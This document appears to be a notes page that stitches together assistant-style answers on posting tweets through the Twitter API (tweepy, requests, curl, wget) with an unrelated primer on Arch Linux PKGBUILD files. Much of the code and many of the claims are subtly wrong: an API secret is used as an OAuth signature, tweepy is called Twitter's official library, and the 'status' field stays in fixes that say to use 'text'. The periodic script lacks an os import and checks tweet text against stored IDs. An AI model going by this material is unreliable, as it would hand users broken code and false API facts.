
Here's a simple Python script that sends out a tweet using your provided credentials as a template. We'll be using the tweepy library, which is a popular Python library for interacting with the Twitter API.

Steps: Install the tweepy library if you haven't already:

pip install tweepy

If you're mainly concerned pip breaking your system-wide packsges or are encountering the externally-managed-environment error message you can always use a virtual environment . This ensures that your project dependencies (including Python versions and libraries) remain isolated from the system .

Create the virtual environment and activate the virtual environment using:

python3 -m venv myenv
source myenv/bin/activate

After activating, try the installation again with pip:

pip install tweepy

Set your Twitter credentials as environment variables (or replace os.getenv with your actual credentials directly in the code).

Here's the script to send a tweet:

import os
import tweepy

# Replace these with your actual credentials
API_KEY = os.getenv("API_KEY")
API_SECRET_KEY = os.getenv("API_SECRET_KEY")
ACCESS_TOKEN = os.getenv("ACCESS_TOKEN")
ACCESS_TOKEN_SECRET = os.getenv("ACCESS_TOKEN_SECRET")

# Authenticate to the Twitter API
auth = tweepy.OAuthHandler(API_KEY, API_SECRET_KEY)
auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)

# Create an API object
api = tweepy.API(auth)

# Send a tweet
tweet = "Hello, Twitter! #myfirsttweet"
api.update_status(status=tweet)

print("Tweet sent successfully!")

Explanation: Environment Variables: The script uses os.getenv() to read your Twitter API credentials from environment variables. Make sure you have set them up before running the script. You can do this in your terminal or set them in a .env file (using python-dotenv if necessary).

Example:

export API_KEY="your-api-key"
export API_SECRET_KEY="your-api-secret-key"
export ACCESS_TOKEN="your-access-token"
export ACCESS_TOKEN_SECRET="your-access-token-secret"

Authentication: We authenticate using the OAuthHandler from tweepy and pass the credentials to authenticate your app.

Sending the Tweet: The api.update_status(status=tweet) sends a tweet to your Twitter account.

Message: The variable tweet contains the message that will be tweeted. You can customize this text.

Notes:

API Keys: You'll need to create a Twitter Developer account and create an application to get your API keys (API key, secret key, access token, and secret token). Environment Variables: If you don't want to set them manually, you can create a .env file and use the python-dotenv library to load the variables from the file.

First error message

itter/x_client.py
Traceback (most recent call last):
  File "/home/dante/Documents/Twitter/x_client.py", line 11, in <module>
    auth = tweepy.OAuthHandler(API_KEY, API_SECRET_KEY)
  File "/home/dante/Documents/Twitter/myenv/lib/python3.13/site-packages/tweepy/auth.py", line 124, in __init__
    super().__init__(consumer_key, consumer_secret, access_token,
    ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                     access_token_secret, callback)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/dante/Documents/Twitter/myenv/lib/python3.13/site-packages/tweepy/auth.py", line 31, in __init__
    raise TypeError("Consumer key must be string or bytes, not "
                    + type(consumer_key).__name__)
TypeError: Consumer key must be string or bytes, not NoneType

It looks like the error am encountering TypeError Consumer key must be string or bytes, not NoneTypeis caused by my API credentials (API key, secret key, access token, etc.) not being correctly set, which results in the NoneType error. This happens when os.getenv() doesn't retrieve the credentials because they aren't set as environment variables, or there is a mistake in how they're defined.

Alternative Approach

However, if am looking for alternative methods to send a tweet without using tweepy, you can use requests (which is more lightweight than tweepy) or even use curl or wget commands directly in Python.

  1. Using requests Library (Simple Approach) Instead of using tweepy, you can use requests to make HTTP requests to the Twitter API directly. You'll need to authenticate via OAuth 1.0a and then send a POST request to tweet.

Steps: Install the requests and requests_oauthlib libraries:

pip install requests requests_oauthlib

Create a Python script to authenticate and send a tweet:

Python Script with requests:

import os
import requests
from requests_oauthlib import OAuth1

# Replace these with your actual credentials
API_KEY = os.getenv("API_KEY")
API_SECRET_KEY = os.getenv("API_SECRET_KEY")
ACCESS_TOKEN = os.getenv("ACCESS_TOKEN")
ACCESS_TOKEN_SECRET = os.getenv("ACCESS_TOKEN_SECRET")

# Authenticate to Twitter API using OAuth1
auth = OAuth1(API_KEY, API_SECRET_KEY, ACCESS_TOKEN, ACCESS_TOKEN_SECRET)

# The URL to post a tweet
# Twitter API v2 URL for creating a tweet
url = "https://api.twitter.com/2/tweets"


# The status (tweet) you want to send  
# Correct field 'text'
status = "Hello, Twitter! #tweetingwithrequests"

# Send the tweet
response = requests.post(url, data={'text': status}, auth=auth)

# Check if the request was successful
if response.status_code == 200:
    print("Tweet sent successfully!")
else:
    print(f"Failed to send tweet: {response.status_code}")

  1. Using curl Command in Python You can also use the subprocess module to run curl commands from within your Python script. This method requires you to construct the correct curl command for Twitter's API.

Python Script with curl:

import os
import subprocess

# Replace these with your actual credentials
API_KEY = os.getenv("API_KEY")
API_SECRET_KEY = os.getenv("API_SECRET_KEY")
ACCESS_TOKEN = os.getenv("ACCESS_TOKEN")
ACCESS_TOKEN_SECRET = os.getenv("ACCESS_TOKEN_SECRET")

# Construct the curl command
tweet_text = "Hello, Twitter! #tweetingwithcurl"

curl_command = f"""
curl -X POST -H "Authorization: OAuth oauth_consumer_key=\"{API_KEY}\", oauth_token=\"{ACCESS_TOKEN}\", oauth_signature_method=\"HMAC-SHA1\", oauth_version=\"1.0\", oauth_signature=\"{API_SECRET_KEY}\"" \
--data-urlencode "status={tweet_text}" \
https://api.twitter.com/1.1/statuses/update.json
"""

# Run the curl command using subprocess
process = subprocess.run(curl_command, shell=True, capture_output=True)

# Check the output
if process.returncode == 0:
    print("Tweet sent successfully!")
else:
    print(f"Failed to send tweet: {process.stderr.decode()}")

  1. Using wget Command in Python The wget command can also be used in a similar way to curl, but wget is less commonly used for API requests since it's more geared toward downloading files.

However, you can use wget to send a tweet by constructing a similar request and running it with subprocess.

Python Script with wget (Less Preferred):

import os
import subprocess

# Replace these with your actual credentials
API_KEY = os.getenv("API_KEY")
API_SECRET_KEY = os.getenv("API_SECRET_KEY")
ACCESS_TOKEN = os.getenv("ACCESS_TOKEN")
ACCESS_TOKEN_SECRET = os.getenv("ACCESS_TOKEN_SECRET")

# Construct the wget command
tweet_text = "Hello, Twitter! #tweetingwithwget"

wget_command = f"""
wget --method=POST --header="Authorization: OAuth oauth_consumer_key={API_KEY}, oauth_token={ACCESS_TOKEN}, oauth_signature_method=HMAC-SHA1, oauth_version=1.0, oauth_signature={API_SECRET_KEY}" \
--body-data="status={tweet_text}" \
https://api.twitter.com/1.1/statuses/update.json
"""

# Run the wget command using subprocess
process = subprocess.run(wget_command, shell=True, capture_output=True)

# Check the output
if process.returncode == 0:
    print("Tweet sent successfully!")
else:
    print(f"Failed to send tweet: {process.stderr.decode()}")

For simplicity and ease of use, I recommend using the requests method, which is easy to manage and avoids the complexity of handling the curl or wget commands in Python. If you still want to stick with tweepy, you just need to ensure that your environment variables are set correctly or directly hard-code the credentials (though not recommended for security reasons).

Why Tweepy is Effective:

The most effective and efficient method of sending tweets programmatically depends on your goals and the context in which you are working. Here’s a breakdown of the best methods in terms of ease of use, flexibility, and scalability.

  1. Using Tweepy (Recommended for Most Use Cases) Despite the error you're facing, Tweepy remains one of the most effective and straightforward libraries for interacting with the Twitter API. Once you have it set up correctly, it simplifies the process of sending tweets and interacting with Twitter's other API endpoints.

Handles OAuth Authentication Automatically: Tweepy manages OAuth1 (and OAuth2 in some cases) for you, which simplifies the authentication process. Feature-Rich: It supports not only tweeting but also reading timelines, following users, searching tweets, and other interactions with the Twitter API. Community Support: Tweepy has strong community support and regular updates, which makes it a reliable choice for interacting with Twitter.

It’s the official library for working with Twitter’s API, and it abstracts much of the complexity. Once you resolve the environment variable issue, it will make interacting with the Twitter API a lot easier and more maintainable. It has built-in support for common tasks like sending tweets, reading timelines, following users, etc. If you don’t need all the features of Tweepy and just want lightweight control, requests with OAuth is a good alternative.

If you need more advanced features, flexibility, or control, or you want to avoid any third-party library altogether, curl is an option, but it’s not the most effective for long-term development.

Let me know if you need more clarification or help with setting this up!

Twitter API v2 Postman collection,

To automate sending out tweets using the provided Twitter API v2 Postman collection here’s how you can proceed with the schema and the Postman setup. The Postman environment will allow you to easily automate requests to Twitter API endpoints, such as sending tweets.

I'll walk you through how you can set this up programmatically in Python using the Postman collection schema and a REST API approach.

Steps to Automate Sending Tweets Using Postman Schema Setup Postman Environment:

Open Postman and create a new Environment for your project (e.g., "Twitter API v2"). In the environment, add the following variables:

consumer_key: Your Twitter API consumer key.
consumer_secret: Your Twitter API consumer secret.
access_token: Your Twitter API access token.
token_secret: Your Twitter API access token secret.
bearer_token: Your bearer token (optional depending on the request).

Use Postman Collection for Twitter API v2:

Download the Postman collection (which you provided). Add the collection to Postman by clicking on "Import" and selecting the collection JSON file or pasting the collection JSON. This will allow you to send requests to the Twitter API v2 endpoints. Automate Tweet Posting via Postman Collection (API Request):

In the Postman collection, look for the POST request method to post a tweet. Ensure that the environment variables are set, and pass the necessary parameters (such as text) in the body of the request. The request URL for sending a tweet will look like this: https://api.twitter.com/2/tweets You’ll need to authorize the request using OAuth1.0 or Bearer Token. Convert Postman Collection to Python (Automating with requests): If you want to automate this further in Python using the Postman environment values (e.g., consumer keys and tokens), you can directly replicate the same functionality with the requests library and OAuth or Bearer token authentication.

Example Python Code to Automate Tweet: Here’s an example of how you can send a tweet programmatically using Python and the Postman schema:

import os
import requests
from requests_oauthlib import OAuth1

# Replace these with your actual credentials
API_KEY = os.getenv("consumer_key")  # Your consumer key from Postman environment
API_SECRET_KEY = os.getenv("consumer_secret")  # Your consumer secret from Postman environment
ACCESS_TOKEN = os.getenv("access_token")  # Your access token from Postman environment
ACCESS_TOKEN_SECRET = os.getenv("token_secret")  # Your access token secret from Postman environment

# Authenticate using OAuth 1.0a
auth = OAuth1(API_KEY, API_SECRET_KEY, ACCESS_TOKEN, ACCESS_TOKEN_SECRET)

# URL to post a tweet (Twitter API v2 endpoint)
url = "https://api.twitter.com/2/tweets"

# Payload for the tweet content
data = {
    "text": "Hello, this is a tweet from my Python script!"  # Your tweet content
}

# Send POST request to Twitter API
response = requests.post(url, json=data, auth=auth)

# Check if the tweet was successfully sent
if response.status_code == 201:
    print("Tweet sent successfully!")
else:
    print(f"Error: {response.status_code}")
    print(response.text)

Breakdown of the Python Code: OAuth Authentication: We're using OAuth1 for authentication, which is typical for interacting with the Twitter API. The credentials are fetched from environment variables. API Endpoint: We're using the https://api.twitter.com/2/tweets endpoint to send the tweet. Data: The tweet's content is passed as a JSON payload with the key status. Error Handling: We print out a success message if the status code is 201, or print the error message if something goes wrong. Running the Script: Ensure your environment variables (consumer_key, consumer_secret, access_token, and token_secret) are set correctly. Run the Python script, and it will post the tweet to your Twitter account. Further Automations: If you want to automate tweets on a schedule (e.g., sending a tweet every hour), you can schedule the script to run at specific intervals using cron (on Linux/macOS) or Task Scheduler (on Windows).

Error: 403
{
  "title": "Unsupported Authentication",
  "detail": "Authenticating with Unknown is forbidden for this endpoint.  Supported authentication types are [OAuth 1.0a User Context, OAuth 2.0 User Context].",
  "type": "https://api.twitter.com/2/problems/unsupported-authentication",
  "status": 403
}

The error message you are seeing indicates that the authentication method you're using (presumably OAuth 1.0a) is not supported for the endpoint you're trying to use. Specifically, Twitter API v2 endpoints may require OAuth 2.0 User Context, which is a different form of authentication.

Here's how you can solve it: Use OAuth 2.0 Bearer Token (instead of OAuth 1.0a) for Twitter API v2:

For many Twitter API v2 endpoints, you will need to use OAuth 2.0 Bearer Token for authentication rather than OAuth 1.0a. You can generate a bearer token through the Twitter Developer Dashboard, under your app settings.

Modify your code to use OAuth 2.0:

Here's an example of how to modify your existing code to use OAuth 2.0 for authentication:

Steps: Create a Bearer Token:

Go to the Twitter Developer Portal. Under your App's settings, you can generate a Bearer Token for OAuth 2.0. Update your script to use the Bearer Token:

import os
import requests

# Your Bearer Token
BEARER_TOKEN = os.getenv("BEARER_TOKEN")

# If Bearer Token is not set, print an error
if not BEARER_TOKEN:
    print("Error: Bearer Token is not set.")
    exit()

# Twitter API URL
url = "https://api.twitter.com/2/tweets"

# The tweet data
data = {
    "status": "Hello, this is a tweet from my Python script using OAuth 2.0!"
}

headers = {
    "Authorization": f"Bearer {BEARER_TOKEN}",
    "Content-Type": "application/json"
}

# Sending the POST request
response = requests.post(url, json=data, headers=headers)

if response.status_code == 201:
    print("Tweet sent successfully!")
else:
    print(f"Error: {response.status_code}")
    print(response.json())

Explanation of Changes: Instead of using OAuth1 for authentication, we use Bearer Token authentication. The Bearer Token is passed via the Authorization header as Bearer . This method should resolve the "Unsupported Authentication" error you're seeing since it's more suited for Twitter API v2. Setting the Bearer Token: Make sure you have the Bearer Token set in your environment:

export BEARER_TOKEN="your_bearer_token_here"
If you're using a .env file, you can load it using python-dotenv as follows:

from dotenv import load_dotenv
import os

load_dotenv()

BEARER_TOKEN = os.getenv("BEARER_TOKEN")
Test Again:
Try running your script after making the changes. The 403 error should no longer appear, and your tweet should successfully be posted.

Load credentials

credentials = load_credentials("Twitter.postman_environment.json")

Extract the bearer token from the loaded credentials

BEARER_TOKEN = credentials.get("bearer_token")

Ensure we have the bearer token

if not BEARER_TOKEN: print("Error: Bearer Token is missing.") exit()

Twitter API URL

url = "https://api.twitter.com/2/tweets"

The tweet data

data = { "status": "Hello, this is a tweet from my Python script using OAuth 2.0!" }

headers = { "Authorization": f"Bearer {BEARER_TOKEN}", "Content-Type": "application/json" }

Sending the POST request

response = requests.post(url, json=data, headers=headers)

if response.status_code == 201: print("Tweet sent successfully!") else: print(f"Error: {response.status_code}") print(response.json()) Explanation: Load the JSON File:

The load_credentials function opens and reads the Twitter.postman_environment.json file, which contains the Twitter API credentials. It loads the JSON data and parses the values array to extract the keys (consumer_key, consumer_secret, access_token, token_secret, and bearer_token). Check for Bearer Token:

The script looks for the bearer_token in the loaded credentials. If it’s missing, the script exits and displays an error message. Send the Tweet:

The script sends a POST request to the Twitter API using the bearer_token for authentication. Step 3: Run the Script Make sure the Twitter.postman_environment.json file is in the correct location and run the script. It will read the credentials from the file, authenticate with the Twitter API, and post the tweet.

Let me know if this works for you!

test2.py

Error: 403
{'title': 'Unsupported Authentication', 'detail': 'Authenticating with OAuth 2.0 Application-Only is forbidden for this endpoint.  Supported authentication types are [OAuth 1.0a User Context, OAuth 2.0 User Context].', 'type': 'https://api.twitter.com/2/problems/unsupported-authentication', 'status': 403}

The error message you are seeing indicates that the authentication method you're using (OAuth 2.0 Application-Only) is not allowed for this specific Twitter API endpoint. Instead, you need to use OAuth 1.0a User Context or OAuth 2.0 User Context, both of which require user-level authentication (i.e., involving the user's access token and secret, in addition to the consumer key and secret).

To resolve this, you can update your authentication method to use OAuth 1.0a User Context. Here's how you can modify the script to use this type of authentication:

Updated Script with OAuth 1.0a User Context

import json
import requests
from requests_oauthlib import OAuth1

# Load credentials from the Twitter.postman_environment.json file
def load_credentials(filename):
    with open(filename, "r") as file:
        data = json.load(file)
    
    credentials = {}
    
    # Extract values from the JSON file
    for item in data["values"]:
        credentials[item["key"]] = item["value"]
    
    return credentials

# Load credentials
credentials = load_credentials("Twitter.postman_environment.json")

# Extract the necessary credentials
consumer_key = credentials.get("consumer_key")
consumer_secret = credentials.get("consumer_secret")
access_token = credentials.get("access_token")
access_token_secret = credentials.get("token_secret")

# Ensure all credentials are present
if not all([consumer_key, consumer_secret, access_token, access_token_secret]):
    print("Error: Missing credentials.")
    exit()

# OAuth 1.0a User Context authentication
auth = OAuth1(consumer_key, consumer_secret, access_token, access_token_secret)

# Twitter API URL for creating a tweet
url = "https://api.twitter.com/2/tweets"

# The tweet data
data = {
    "status": "Hello, this is a tweet from my Python script using OAuth 1.0a User Context!"
}

# Sending the POST request
response = requests.post(url, json=data, auth=auth)

# Check the response
if response.status_code == 201:
    print("Tweet sent successfully!")
else:
    print(f"Error: {response.status_code}")
    print(response.json())
Key Changes:
OAuth 1.0a Authentication:

I've used requests_oauthlib.OAuth1 to set up OAuth 1.0a authentication, which requires the consumer key, consumer secret, access token, and access token secret. This method is used for OAuth 1.0a User Context authentication, which is required for posting tweets. Data Structure:

The status key in the data dictionary represents the tweet text. URL and Response Check:

The script sends the tweet using POST to the https://api.twitter.com/2/tweets endpoint. It then checks if the tweet was successfully posted by looking for a 201 status code. Requirements: Make sure you have requests and requests_oauthlib installed: pip install requests requests_oauthlib Next Steps: Run the script again. If the credentials are correct and you are using the proper OAuth 1.0a User Context authentication, the script should successfully send a tweet.

Error: 400
{'errors': [{'message': '$.status: is not defined in the schema and the schema does not allow additional properties'}], 'title': 'Invalid Request', 'detail': 'One or more parameters to your request was invalid.', 'type': 'https://api.twitter.com/2/problems/invalid-request'}

The error you're receiving ($.status: is not defined in the schema) is caused by sending the status field, which is not valid for the Twitter API v2 endpoint for creating tweets. The Twitter API v2 uses a different structure than v1.1 for posting tweets, and the field for the tweet text is text (not status).

import json
import requests
from requests_oauthlib import OAuth1

# Load credentials from the Twitter.postman_environment.json file
def load_credentials(filename):
    with open(filename, "r") as file:
        data = json.load(file)
    
    credentials = {}
    
    # Extract values from the JSON file
    for item in data["values"]:
        credentials[item["key"]] = item["value"]
    
    return credentials

# Load credentials
credentials = load_credentials("Twitter.postman_environment.json")

# Extract the necessary credentials
consumer_key = credentials.get("consumer_key")
consumer_secret = credentials.get("consumer_secret")
access_token = credentials.get("access_token")
access_token_secret = credentials.get("token_secret")

# Ensure all credentials are present
if not all([consumer_key, consumer_secret, access_token, access_token_secret]):
    print("Error: Missing credentials.")
    exit()

# OAuth 1.0a User Context authentication
auth = OAuth1(consumer_key, consumer_secret, access_token, access_token_secret)

# Twitter API v2 URL for creating a tweet
url = "https://api.twitter.com/2/tweets"

# The tweet data - use the "text" field instead of "status"
data = {
    "status": "Hello, this is a tweet from my Python script using OAuth 1.0a User Context!"  # Incorrect field 'status'
}

# Corrected to use the "text" field
data = {
    "text": "Hello, this is a tweet from my Python script using OAuth 1.0a User Context!"  # Correct field 'text'
}

# Sending the POST request
response = requests.post(url, json=data, auth=auth)

# Check the response
if response.status_code == 201:
    print("Tweet sent successfully!")
else:
    print(f"Error: {response.status_code}")
    print(response.json())

Key changes: Correct field for text: The tweet body should be sent under the "text" key (not "status") in the JSON payload. Expected Behavior: This script will now correctly send a tweet with the text "Hello, this is a tweet from my Python script using OAuth 1.0a User Context!". If you try running this version of the script, it should fix the issue and send the tweet successfully.

Sleep Mechanism

Add a sleep mechanism to wait for the desired frequency (e.g., 10 minutes between tweets). Read and send tweets from the tweets.txt file line by line. Track tweet IDs in a JSON file to ensure duplicates aren't sent. Updated Python Script:

import json
import time
import random
import requests
from requests_oauthlib import OAuth1

# Load credentials from the Twitter.postman_environment.json file
def load_credentials(filename):
    with open(filename, "r") as file:
        data = json.load(file)
    
    credentials = {}
    
    # Extract values from the JSON file
    for item in data["values"]:
        credentials[item["key"]] = item["value"]
    
    return credentials

# Load credentials
credentials = load_credentials("Twitter.postman_environment.json")

# Extract the necessary credentials
consumer_key = credentials.get("consumer_key")
consumer_secret = credentials.get("consumer_secret")
access_token = credentials.get("access_token")
access_token_secret = credentials.get("token_secret")

# Ensure all credentials are present
if not all([consumer_key, consumer_secret, access_token, access_token_secret]):
    print("Error: Missing credentials.")
    exit()

# OAuth 1.0a User Context authentication
auth = OAuth1(consumer_key, consumer_secret, access_token, access_token_secret)

# Twitter API URL for creating a tweet
url = "https://api.twitter.com/2/tweets"

# Load tweet IDs from the log to avoid duplicates
def load_sent_tweet_ids():
    if os.path.exists('sent_tweet_ids.json'):
        with open('sent_tweet_ids.json', 'r') as file:
            return json.load(file)
    return []

# Save tweet ID to the log after posting
def save_sent_tweet_id(tweet_id):
    sent_tweet_ids = load_sent_tweet_ids()
    sent_tweet_ids.append(tweet_id)
    with open('sent_tweet_ids.json', 'w') as file:
        json.dump(sent_tweet_ids, file)

# Post a tweet to Twitter API
def post_tweet(tweet_text):
    # Prepare the payload (correct the key to 'text' for the new API version)
    data = {
        "status": tweet_text
    }

    response = requests.post(url, json=data, auth=auth)

    if response.status_code == 201:
        print("Tweet posted successfully!")
        tweet_id = response.json().get("data").get("id")
        save_sent_tweet_id(tweet_id)
        print(f"Tweet ID: {tweet_id}")
        return True
    else:
        print(f"Failed to post tweet: {response.text}")
        return False

# Read tweets line-by-line from the file and post them
def send_tweets_periodically():
    with open("tweets.txt", "r") as file:
        tweets = file.readlines()

    # Load previously sent tweet IDs to avoid reposting
    sent_tweet_ids = load_sent_tweet_ids()

    for tweet in tweets:
        tweet = tweet.strip()  # Remove leading/trailing whitespaces
        
        if tweet:  # Skip empty lines
            print(f"Selected tweet: {tweet}")
            
            # If this tweet has not been sent before, send it
            if tweet not in sent_tweet_ids:
                if post_tweet(tweet):
                    # Wait for 10 minutes (600 seconds) before posting next tweet
                    time.sleep(600)  # Change the sleep time to your desired interval
            else:
                print(f"Skipping duplicate tweet: {tweet}")

# Main function to run the script
def main():
    send_tweets_periodically()

if __name__ == "__main__":
    main()

Explanation: Loading Credentials:

The load_credentials() function loads credentials from Twitter.postman_environment.json. Loading and Saving Sent Tweet IDs:

The load_sent_tweet_ids() function loads previously sent tweet IDs from a JSON file (sent_tweet_ids.json). The save_sent_tweet_id() function appends the tweet ID to the list of sent tweets. Posting Tweets:

The post_tweet() function sends a tweet using the requests library. After posting successfully, it logs the tweet's ID. Send Tweets Periodically:

The send_tweets_periodically() function reads the tweets.txt file line by line, ensuring that no tweet is repeated by checking the sent_tweet_ids.json file. It waits for 10 minutes (600 seconds) between sending tweets using time.sleep(600) (adjustable). Skipping Duplicate Tweets:

Before posting, the script checks if the tweet has already been posted using the sent_tweet_ids.json file. Key Files: tweets.txt: Contains a list of tweets to post (one tweet per line). sent_tweet_ids.json: Logs tweet IDs to avoid posting duplicates. Example sent_tweet_ids.json: [ "1472504506813625347", "1472504606923865061" ] How to Run: Ensure you have your tweets.txt file ready with the tweets listed one per line. Make sure you have the correct credentials in the Twitter.postman_environment.json file. Run the script by executing: python your_script_name.py The script will send tweets every 10 minutes from the list, ensuring no duplicates.

Let me know if you'd like to modify the frequency or add any other features!

Using Twitter API

Reference

What Are PKGBUILD Files?

A PKGBUILD file is a script used in the Arch Linux Packaging System to automate the building, installation, and distribution of software. It is an essential component of Arch's package manager (pacman) and the Arch User Repository (AUR).

PKGBUILD files define:

How to fetch the source code How to compile/build the software How to package it into an installable format (.pkg.tar.zst) How to install dependencies

PKGBUILD files are commonly used for:

  • Shipping binaries efficiently
  • Compiling software from source with custom configurations
  • Creating portable, reproducible builds for different environments

PKGBUILD files are specific to Arch Linux and its derivatives (e.g., Manjaro, EndeavourOS, Garuda). They are part of the Arch Build System (ABS) and the Arch User Repository (AUR), used to build and package software for pacman, Arch's package manager.

However, other Linux distributions have similar packaging systems but use different formats and tools. Below is a comparison:

Packaging Systems in Different Distributions

DistributionPackage ManagerBuild SystemPackage Format
Arch LinuxpacmanPKGBUILD (ABS/AUR).pkg.tar.zst
Debian/Ubuntuapt/dpkgdebuild, dh_make.deb
Fedora/RHELdnf/rpmrpmbuild, spec files.rpm
GentooemergeebuildSource-based
NixOSnixNix Expressions.drv
Void Linuxxbpssrcpkg.xbps

Each system has a similar role to PKGBUILD, but with different syntax and tools.

🟢 Debian/Ubuntu: .deb Packaging (Control Files)

Uses debuild, dpkg, and control files. Equivalent to PKGBUILD but more complex (multiple scripts). Example control file for a Debian package:

Package: mysoftware
Version: 1.0
Section: utils
Priority: optional
Architecture: amd64
Depends: libc6 (>= 2.31)
Maintainer: Your Name <you@example.com>
Description: A simple program

🔴 Fedora/RHEL: .rpmPackaging (SPEC Files)

Uses rpmbuild and .spec files. Equivalent to PKGBUILD but with more detailed control over build steps. Example .spec file:

Name: mysoftware
Version: 1.0
Release: 1%{?dist}
Summary: A simple program
License: GPLv3
Source0: https://example.com/mysoftware-1.0.tar.gz
BuildRequires: gcc, make
Build with:
rpmbuild -ba mysoftware.spec

🟠 Gentoo: ebuild (Portage)

Uses source-based builds similar to PKGBUILD. Example mysoftware-1.0.ebuild:

DESCRIPTION="A simple program"
HOMEPAGE="https://example.com"
SRC_URI="https://example.com/mysoftware-1.0.tar.gz"
LICENSE="GPL-3"
SLOT="0"
KEYWORDS="~amd64"
DEPEND="sys-devel/gcc"
Install with:
emerge mysoftware

🟡 NixOS: nix Expressions

Uses declarative .nix files. Example default.nix:

{ stdenv, fetchurl }:
stdenv.mkDerivation {
  name = "mysoftware-1.0";
  src = fetchurl { url = "https://example.com/mysoftware-1.0.tar.gz"; };
  buildInputs = [ ];
}
Install with:
nix-build default.nix

Why Use PKGBUILD Over Others?

  • ✅ Advantages of PKGBUILD (Arch Linux)
    • Simple & Transparent (single script, no extra files like .spec or control).
    • Works with source code & prebuilt binaries.
    • AUR makes software distribution easy.
    • Fast & lightweight (no dependency resolution overhead).
  • ❌ Limitations of PKGBUILD
    • Only for Arch-based distros.
    • No official package signing by default.
    • Not as widely adopted as .deb or .rpm.

Can I Use PKGBUILD on Non-Arch Systems?

  • Not natively, but you can convert PKGBUILD-based packages to .deb or .rpm using tools like makepkg, debootstrap, or alien.

For example:

makepkg -g
alien --to-deb mysoftware-1.0-1-x86_64.pkg.tar.zst

This converts an Arch package into a Debian package.

While PKGBUILD is Arch Linux-specific, other distributions have their own equivalents like .deb (Debian), .rpm (Fedora), and ebuild (Gentoo). The choice depends on the system you're working with.

  1. Structure of a PKGBUILD File A typical PKGBUILD file consists of a set of variables and functions that define how the package is built and installed.

Example: PKGBUILD for a Simple C++ Program

# Maintainer Information
pkgname=mysoftware
pkgver=1.0
pkgrel=1
pkgdesc="A simple C++ application"
arch=('x86_64')
url="https://example.com"
license=('GPL3')
depends=('gcc' 'glibc')  # Dependencies

# Source Code
source=("https://example.com/mysoftware-$pkgver.tar.gz")
sha256sums=("SKIP")  # Replace with actual checksum

# Build Function
build() {
    cd "$srcdir/mysoftware-$pkgver"
    make
}

# Package Function
package() {
    cd "$srcdir/mysoftware-$pkgver"
    install -Dm755 mysoftware "$pkgdir/usr/bin/mysoftware"
}
  1. Understanding Key Sections of PKGBUILD

pkgname |The name of the package pkgver |The version number pkgrel |Package release number (increment when making fixes) pkgdesc |Short description of the package arch |Target architecture (x86_64, arm, any) url |Project’s homepage license |The license (e.g., MIT, GPL3) depends |List of dependencies source |URL or local path to source code sha256sums |Security checksums to verify file integrity build() |Commands for compiling the software package() |Commands for installing the compiled binaries


  1. Using PKGBUILD to Ship Binaries Instead of compiling from source, you can ship precompiled binaries to speed up installation.

Example: PKGBUILD for Shipping a Precompiled Binary

pkgname=mysoftware-bin
pkgver=1.0
pkgrel=1
pkgdesc="A precompiled binary package"
arch=('x86_64')
url="https://example.com"
license=('MIT')
depends=('glibc')

# Precompiled binary instead of source code
source=("https://example.com/releases/mysoftware-$pkgver-linux-x86_64.tar.gz")
sha256sums=("SKIP")

package() {
    cd "$srcdir/mysoftware-$pkgver"
    install -Dm755 mysoftware "$pkgdir/usr/bin/mysoftware"
}

The PKGBUILD file i provide below is for the gr-osmosdr-git package,

# Maintainer: Cameron Will <cwill747@gmail.com>
# Contributor: Yunhui Fu <yhfudev@gmail.com>
# Contributor: 0xfc <sfc_0@yahoo.com.cn>
# Modified from rtl-sdr-git `PKGBUILD`

pkgname=gr-osmosdr-git
pkgver=0.2.1.5.gfe03d83
pkgrel=1
pkgdesc="GNU Radio source block for OsmoSDR, which is a 100% Free Software based small form-factor inexpensive SDR (Software Defined Radio) project."
arch=('i686' 'x86_64')
url="https://osmocom.org/projects/gr-osmosdr/wiki"
license=('GPL')
depends=(
    'gnuradio'
    'swig'
    'rtl-sdr'
    'libuhd'
    'libmirisdr-git'
    'libosmosdr-git'
    'airspy-git'
    )
makedepends=(
    'git'
    'cmake'
    'boost'
    'python-cheetah3'
    )
#optdepends=()
provides=('gr-osmosdr' 'gnuradio-osmosdr')

source=('git+https://git.osmocom.org/gr-osmosdr')
md5sums=('SKIP')
_gitname="gr-osmosdr"

pkgver() {
  cd $_gitname
  # Use the tag of the last commit
  git describe --always | sed 's|-|.|g; s|^.||'
}

build() {
  cd "$srcdir/$_gitname"
  mkdir -p build
  cd build
  cmake -DCMAKE_INSTALL_PREFIX=/usr ../
  make
}

package() {
  cd "$srcdir/$_gitname/build/"
  make DESTDIR=${pkgdir} install}

The PKGBUILD file i provided seems to be for the gr-osmosdr-git package, and it appears to be set up to build the software from the latest Git commit. However, before proceeding with the installation, let's walk through a few things to ensure everything is set up correctly:

PKGBUILD Breakdown Dependencies: The package has several dependencies, including gnuradio, swig, rtl-sdr, libuhd, libmirisdr-git, libosmosdr-git, and airspy-git. These should be installed and compatible with your environment.

Build Process: The build process includes creating a build directory, running cmake, and using make to compile the package. This is standard for CMake-based packages. The install process uses make DESTDIR=${pkgdir} install, which will install the compiled files into a temporary directory (${pkgdir}) before packaging them for installation.

Versioning: The pkgver() function dynamically generates the version number based on the last Git commit. This will ensure you're always getting the latest commit version.

Source: The source points to the Git repository for gr-osmosdr. This means i will be pulling the latest source code from osmocom.org.

Why Use Precompiled Binaries? Faster installation (no need to compile) Less dependency on build tools Easier for end users

  1. Creating & Installing a Package with PKGBUILD
  • Step 1: Create a PKGBUILD File Inside an empty directory:
mkdir mysoftware
cd mysoftware
nano `PKGBUILD`  # Paste your script here
  • Step 2: Build the Package Run the following command in the same directory:
makepkg -si

This will:

Download the source/binary Compile (if necessary) Package it into .pkg.tar.zst Install the package Step 3: Share the Built Package Once built, you can share mysoftware-1.0-1-x86_64.pkg.tar.zst. Users can install it with:

pacman -U mysoftware-1.0-1-x86_64.pkg.tar.zst
  1. PKGBUILD in Software Development
  • Automating Builds & CI/CD PKGBUILD files integrate into CI/CD pipelines to automate packaging and distribution. Arch Linux repositories like AUR use PKGBUILD for community-maintained software.
  • Customizing Package Builds Users can modify PKGBUILD files to enable/disable features (e.g., custom compiler flags). Example: Change CFLAGS in the build() function for optimized performance.
  • Archiving & Versioning PKGBUILD ensures consistent, reproducible builds across different machines. Versions are tracked via pkgver and pkgrel updates.
